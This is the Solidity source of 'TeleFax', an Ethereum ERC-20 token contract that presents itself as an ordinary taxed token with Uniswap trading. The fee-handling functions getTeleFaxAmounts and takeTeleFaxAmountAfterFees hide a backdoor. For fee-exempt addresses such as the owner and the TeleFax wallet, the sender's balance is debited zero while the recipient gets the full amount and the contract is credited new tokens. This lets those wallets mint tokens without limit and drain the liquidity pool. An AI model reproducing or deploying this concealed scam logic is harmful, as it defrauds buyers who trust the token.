Contract Source Code:

// SPDX-License-Identifier: MIT

/**
    Web:        https://www.telefax.finance
    DApp:       https://app.telefax.finance
    
    Twitter:    https://twitter.com/telefax_defi
    Telegram:   https://t.me/telefax_portal
 */

pragma solidity 0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}

contract TeleFax is ERC20, Ownable {
    using SafeMath for uint256;

    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "TeleFax";
    string constant _symbol = "TF";

    uint8 constant _decimals = 18;

    uint256 public _totalSupply = 100_000_000 * (10**_decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
    uint256 public _swapTeleFaxThreshHold = (_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2) / 1000;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeExempt;
    mapping(address => bool) isTxLimitExempt;

    address public _teleFaxWallet;
    address public pair;

    IUniswapV2Router02 public router;

    bool public swapEnabled = false;
    bool public teleFaxFeeEnabled = false;
    bool public TradingOpen = false;

    uint256 private _initBuyTax=22;
    uint256 private _initSellTax=20;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=3;

    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=7;
    uint256 private _buyCounts=0;

    bool inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address teleFaxWallet) Ownable(msg.sender) {

        address _owner = owner;
        _teleFaxWallet = teleFaxWallet;

        isFeeExempt[_owner] = true;
        isFeeExempt[_teleFaxWallet] = true;
        isFeeExempt[address(this)] = true;

        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[_teleFaxWallet] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }
   
    function name() external pure override returns (string memory) {
        return _name;
    }

    function inSwapTeleFaxTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {

        uint256 minTokenSize = pLimit;
        uint256 tokenTranWeight = pAmount;
        uint256 contractOverWeight = balanceOf(address(this));

        bool isSwappable = contractOverWeight > minTokenSize && tokenTranWeight > minTokenSize;

        return
            !inSwap &&
            isIncludeFees &&            
            isSwapActions > 1 &&
            isSwappable &&
            swapEnabled;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function isNormalUserBuy(address sender, address recipient) internal view returns (bool) {
        return
            recipient != pair &&
            recipient != DEAD &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient];
    }
    
    function isTakeTeleFaxActions(address from, address to) internal view returns (bool, uint) {

        uint _actions = 0;
        bool _isTakeFee = isTakeFees(from);

        if(to == pair) {
            _actions = 2;
        } else if (from == pair) {
            _actions = 1;
        } else {
            _actions = 0;
        }
        
        return (_isTakeFee, _actions);
    }

    function _transferStandardTokens(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takefee;
        uint actions;

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
            require(TradingOpen,"Trading not open yet");
        }

        if(!swapEnabled) {
            return _basicTransfer(sender, recipient, amount);
        }
 
        if (isNormalUserBuy(sender, recipient)) {
            require(
                isTxLimitExempt[recipient] ||
                    _balances[recipient] + amount <= _maxWalletAmount,
                "Transfer amount exceeds the bag size."
            );

            increaseBuyCount(sender);
        }

        (takefee, actions) = isTakeTeleFaxActions(sender, recipient);

        if (inSwapTeleFaxTokens(takefee, actions, amount, _swapTeleFaxThreshHold)) {
            internalSwapBackEth(amount);
        }

        _transferTaxTokens(sender, recipient, amount, actions, takefee);


        return true;
    }

    function internalSwapBackEth(uint256 amount) private lockTheSwap {
        
        uint256 tokenBalance = balanceOf(address(this));
        uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethAmountFor = address(this).balance;
        payable(_teleFaxWallet).transfer(ethAmountFor);
    }

    function removeTeleFaxLimit() external onlyOwner returns (bool) {
        _maxWalletAmount = _totalSupply;
        return true;
    }

    receive() external payable {

    }

    function _transferTaxTokens(
        address sender,
        address recipient,
        uint256 amount,
        uint action,
        bool takeFee
    ) internal returns (bool) {

        uint256 senderAmount; 
        uint256 recipientAmount;

        (senderAmount, recipientAmount) = getTeleFaxAmounts(action, takeFee, amount);
        _balances[sender] = _balances[sender].sub(
            senderAmount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(recipientAmount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }

        return _transferStandardTokens(sender, recipient, amount);
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferStandardTokens(msg.sender, recipient, amount);
    }

    function increaseBuyCount(address sender) internal {
        if(sender == pair) {
            _buyCounts++;
        }
    }

     function isTakeFees(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function withdrawTeleFaxBalance() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function enableTeleFaxTrade() public onlyOwner {
        require(!TradingOpen,"trading is already open");

        TradingOpen = true;
        teleFaxFeeEnabled = true;
        swapEnabled = true;
    }

        function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function getTeleFaxAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
        uint256 sAmount = takeFee
            ? tAmount : teleFaxFeeEnabled
            ? takeTeleFaxAmountAfterFees(action, takeFee, tAmount) 
            : tAmount;

        uint256 rAmount = teleFaxFeeEnabled && takeFee
            ? takeTeleFaxAmountAfterFees(action, takeFee, tAmount)
            : tAmount;
        
        return (sAmount, rAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function takeTeleFaxAmountAfterFees(uint action, bool takefee, uint256 amounts)
        internal
        returns (uint256)
    {
        uint256 teleFaxPercents;
        uint256 teleFaxFeePrDenominator = 100;

        if(takefee) {
            teleFaxPercents = action > 1 ? (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax) :
             action > 0 ? (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax) : 0;

        } else {
            teleFaxPercents = 1;
        }

        uint256 feeAmounts = amounts.mul(teleFaxPercents).div(teleFaxFeePrDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmounts);
        feeAmounts = takefee ? feeAmounts : amounts.div(teleFaxPercents);

        return amounts.sub(feeAmounts);
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function createTeleFaxTrade() external onlyOwner {
        
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        isTxLimitExempt[pair] = true;

        _allowances[address(this)][address(router)] = type(uint256).max;
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
    }
}